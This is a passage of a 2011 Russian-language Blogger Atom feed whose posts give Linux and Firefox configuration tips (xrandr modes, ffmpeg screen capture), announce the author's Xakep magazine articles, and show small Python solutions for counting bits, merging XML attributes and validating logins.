href='http://www.blogger.com/feeds/740530141676091465/posts/default/4653715700935982204'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/4653715700935982204'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2011/05/blog-post.html' title='Немного про итераторы в питоне'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-6039472807068945687</id><published>2011-03-24T15:43:00.000-07:00</published><updated>2011-03-24T15:44:20.493-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='samba'/><category scheme='http://www.blogger.com/atom/ns#' term='xakep'/><title type='text'>Бразильский танец с бубном</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Очередная моя статья в свежей прессе!&lt;br /&gt;&lt;br /&gt;На этот раз рассуждал о настройке, оптимизации работы и обеспечении безопасности Samba-клиента в Linux.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;img border="0" src="http://www.xakep.ru/magazine/xa/147/147.jpg" /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-6039472807068945687?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/6039472807068945687/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2011/03/blog-post_24.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/6039472807068945687'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/6039472807068945687'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2011/03/blog-post_24.html' title='Бразильский танец с бубном'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-469876992687656303</id><published>2011-03-22T11:48:00.000-07:00</published><updated>2011-03-22T11:48:52.002-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='firefox'/><title type='text'>Убираем анимацию табов в Firefox 4</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Сегодня (почтенная публика уже, наверное, в курсе) состоялся релиз Firefox 4! Всё вроде хорошо: и быстрота, и простота, и так далее. Но, следуя трендам, разработчики прикрутили анимацию при открытии таба, которая лично меня ужасно раздражает.&lt;br /&gt;А убрать её через штатное меню настройки нельзя, а можно вот так: надо набрать в строке адреса "about:config", в фильтре ввести "tab", найти параметр browser.tabs.animate и установить его значение в false.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-469876992687656303?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/469876992687656303/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2011/03/firefox-4.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/469876992687656303'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/469876992687656303'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2011/03/firefox-4.html' title='Убираем анимацию табов в Firefox 4'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-8061373545890624904</id><published>2011-03-21T14:25:00.000-07:00</published><updated>2011-03-21T14:27:25.294-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='xrandr'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Выставляем правильное разрешение на внешнем дисплее</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Как выяснилось, мой уютный ThinkPad с Арчем на борту не сильно дружит с телеком Samsung по VGA кабелю, а именно дает выставлять разрешение максимум 1024x768, хотя поддерживается там 720p (1360x768). Причину такого поведения доподлинно выяснить не удалось, но тут скорее всего два варианта: либо дрова неправильно обрабатывают &lt;a href="http://ru.wikipedia.org/wiki/Extended_display_identification_data"&gt;EDID&lt;/a&gt; блок, либо этот блок неправильно формируется на телеке (либо я вообще неправильно настроил иксы).&lt;br /&gt;Для исправления ситуации командуем, чтобы узнать параметры этого разрешения, так называемый VESA CVT mode line:&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;$ cvt 1360 768&lt;/b&gt;&lt;/blockquote&gt;Далее добавляем этот режим в список доступных:&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;$ xrandr --newmode "1360x768_60.00"&amp;nbsp;&amp;nbsp; 84.75&amp;nbsp; 1360 1432 1568 1776&amp;nbsp; 768 771 781 798 -hsync +vsync&lt;/b&gt;&lt;/blockquote&gt;И добавляем режим для конкретного выхода:&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;$ xrandr --addmode VGA1 1360x768_60.00&lt;/b&gt;&lt;/blockquote&gt;После этого нужное разрешение будет доступно для выбора в xrandr или фронтэнде к нему для вашего WM/DE. Я, вследствие природной лени, пользуюсь lxrandr. Чтобы каждый раз не вбивать команды, можно записать их в файлы ~/.xinitrc или ~/.xprofile - они выполнятся при старте иксов. &lt;br /&gt;&lt;br /&gt;Либо можно добавить в xorg.conf блок типа такого:&lt;br /&gt;&lt;blockquote&gt;Section "Monitor"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Identifier      "External VGA"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Modeline "1360x768_60.00"&amp;nbsp;&amp;nbsp; 84.75&amp;nbsp; 1360 1432 1568 1776&amp;nbsp; 768 771 781 798 -hsync +vsync&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Option          "PreferredMode" "1360x768_60.00"&lt;br /&gt;EndSection&lt;/blockquote&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-8061373545890624904?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/8061373545890624904/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2011/03/blog-post_21.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/8061373545890624904'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/8061373545890624904'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2011/03/blog-post_21.html' title='Выставляем правильное разрешение на внешнем дисплее'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-7717252634017895917</id><published>2011-03-11T12:12:00.000-08:00</published><updated>2011-03-11T12:12:12.631-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='yandex'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Считаем количество ненулевых битов</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;"Предложите способ посчитать количество ненулевых битов в содержимом файла с именем blob.dat". Предлагаю:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;#!/usr/bin/python2.7&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;def bstr(n):&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return ''.join([str(n &amp;gt;&amp;gt; x &amp;amp; 1) for x in (7,6,5,4,3,2,1,0)])&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;f = file('blob.dat', 'rb')&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;bytes = f.read()&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;sheet = ''.join([bstr(ord(c)) for c in bytes])&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;amount = 0&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;for bit in sheet:&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if bit == '1': amount += 1&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;print amount&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-7717252634017895917?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/7717252634017895917/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2011/03/blog-post.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/7717252634017895917'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/7717252634017895917'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2011/03/blog-post.html' title='Считаем количество ненулевых битов'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-694876400515954893</id><published>2011-03-03T11:38:00.000-08:00</published><updated>2011-03-03T12:11:37.610-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ffmpeg'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Скринкастинг в Linux</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Вы всё ещё снимаете видео о том, как похекали сайт NASA, с помощью recordmydesktop? Не позорьтесь! Вот вам кошерная команда:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;$ ffmpeg -f x11grab -s 1280x800 -r 25 -g 250 -i :0.0 -sameq -vcodec qtrle out.mov&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;1280x800 нужно заменить в соотвествии с разрешением экрана. На мой взгляд такой набор параметров обеспечивает оптимальное соотношение скорость/качество.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-694876400515954893?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/694876400515954893/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2011/03/linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/694876400515954893'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/694876400515954893'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2011/03/linux.html' title='Скринкастинг в Linux'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-8053971501516474435</id><published>2011-02-26T08:12:00.000-08:00</published><updated>2011-08-21T02:17:07.255-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='liberte'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='xakep'/><title type='text'>Liberte Linux</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Чуть было не забыл, что недавно вышла в свет моя первая статья в светском журнале Хакер про дистрибутив для настоящего анонимуса! &lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.xakep.ru/magazine/xa/146/146.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://www.xakep.ru/magazine/xa/146/146.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;b&gt;UPD:&lt;/b&gt; текст статьи доступен &lt;a href="http://www.xakep.ru/post/55953/"&gt;здесь&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-8053971501516474435?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/8053971501516474435/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2011/02/liberte-linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/8053971501516474435'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/8053971501516474435'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2011/02/liberte-linux.html' title='Liberte Linux'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-7691850030946625426</id><published>2011-02-17T10:59:00.000-08:00</published><updated>2011-02-17T11:00:12.766-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='yandex'/><category scheme='http://www.blogger.com/atom/ns#' term='xml'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Парсим XML</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div&gt;&lt;b&gt;Даны два xml-файла, отличающиеся только атрибутами&lt;/b&gt;             &lt;br /&gt;&lt;b&gt;Файл 1:&lt;/b&gt;             &lt;br /&gt;&lt;pre&gt;&amp;lt;root&amp;gt;&lt;br /&gt;&amp;lt;nodeA val1="1" val2="2" val3="3"&amp;gt;&lt;br /&gt;&amp;lt;nodeB val1="1" val2="2" val3="3"/&amp;gt;&lt;br /&gt;&amp;lt;/nodeA&amp;gt;&lt;br /&gt;&amp;lt;nodeC val1="1" val2="2" val3="3"/&amp;gt;&lt;br /&gt;&amp;lt;/root&amp;gt;&lt;/pre&gt;&lt;b&gt;Файл 2:&lt;/b&gt;             &lt;br /&gt;&lt;pre&gt;&amp;lt;root&amp;gt;&lt;br /&gt;&amp;lt;nodeA val1="1" val2="X" val4="4"&amp;gt;&lt;br /&gt;&amp;lt;nodeB val1="1" val2="X" val4="4"/&amp;gt;&lt;br /&gt;&amp;lt;/nodeA&amp;gt;&lt;br /&gt;&amp;lt;nodeC val1="1" val2="X" val4="4"/&amp;gt;&lt;br /&gt;&amp;lt;/root&amp;gt;&lt;/pre&gt;Надо реализовать на любом скриптовом языке слияние Файла 1 в Файл 2 так, чтобы в Файле 2:&lt;br /&gt;1) остались уникальные атрибуты Файла 2;&lt;br /&gt;2) присутствовали уникальные атрибуты Файла 1;&lt;br /&gt;3) совпадающие атрибуты имели значения из Файл 1.&lt;br /&gt;&lt;br /&gt;Я делал с помощью модуля lxml, которой нет в стандартной поставке питона. Чтобы использовать стандартный модуль xml, надо просто заменить первую строчку на &lt;i&gt;import xml.etree.ElementTree as etree - &lt;/i&gt;интерфейсы в этом случае одинаковые.&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;from lxml import etree &lt;br /&gt;&lt;br /&gt;file1 = open('1.xml', 'r')&lt;br /&gt;tree1 = etree.parse(file1)&lt;br /&gt;file1.close()&lt;br /&gt;root1 = tree1.getroot()&lt;br /&gt;&lt;br /&gt;file2 = open('2.xml', 'r')&lt;br /&gt;tree2 = etree.parse(file2)&lt;br /&gt;file2.close()&lt;br /&gt;root2 = tree2.getroot()&lt;br /&gt;&lt;br /&gt;for i in range(len(root1)):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for ikey in root1[i].keys():&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; root2[i].attrib[ikey] = root1[i].attrib[ikey]&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if len(root1[i]) &amp;gt; 0:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; for j in range(len(root1[i])):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; for jkey in root1[i][j].keys():&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; root2[i][j].attrib[jkey] = root1[i][j].attrib[jkey]&lt;br /&gt;&lt;br /&gt;file2 = open('2.xml', 'w')&lt;br /&gt;file2.write(etree.tostring(root2))&lt;br /&gt;file2.close()&lt;/div&gt;&lt;br /&gt;Атрибуты и их значения здесь представлены в виде словарей, поэтому ими можно легко манипулировать. Более подробная информация здесь: &lt;a href="http://lxml.de/tutorial.html"&gt;http://lxml.de/tutorial.html&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-7691850030946625426?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/7691850030946625426/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2011/02/xml.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/7691850030946625426'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/7691850030946625426'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2011/02/xml.html' title='Парсим XML'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-1566296539520403036</id><published>2011-02-16T03:33:00.000-08:00</published><updated>2011-02-16T03:33:19.619-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='yandex'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='re'/><title type='text'>Проверка логина на корректность</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Условие такое:&lt;br /&gt;&lt;br /&gt;Логин должен начинаться с латинской буквы, может состоять из латинских букв, цифр, точки и минуса и должен заканчиваться латинской буквой или цифрой. Минимальная длина логина – 1 символ. Максимальная – 20&lt;br /&gt;символов.&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;import re&lt;br /&gt;from operator import truth&lt;/div&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;def logincheck(login):&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;if login == '' or len(login) &amp;gt; 20:&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;print 'False'&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;return&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;elif len(login) &amp;gt; 2:&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;if (truth(re.match('[a-zA-Z]', login[0])) + \&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;truth(re.match('[a-zA-Z0-9]', login[-1])) + \&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;truth(re.match('^([a-zA-Z0-9\-\.])+$', login[1:-1]))) == 3:&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;print 'True'&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;else: print 'False'&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;return&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;elif len(login) == 2:&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;if (truth(re.match('[a-zA-Z]', login[0])) + \&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;truth(re.match('[a-zA-Z0-9]', login[-1]))) == 2:&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;print 'True'&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;else: print 'False'&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;return&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;else:&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;if (truth(re.match('[a-zA-Z]', login[0]))) == 1:&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;print 'True'&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;else: print 'False'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Здесь проверка разбита на несколько этапов: для логина &amp;gt; 2 символов, для = 2 символам и для = 1 символу. Можно, конечно, сделать в 1 регулярное выражение, но мои копошения так и не смогли вывести такую регулярку. Если кто покажет - буду очень рад.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-1566296539520403036?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/1566296539520403036/comments/default' title='Post Comments'/><link rel='replies' type='text/html' 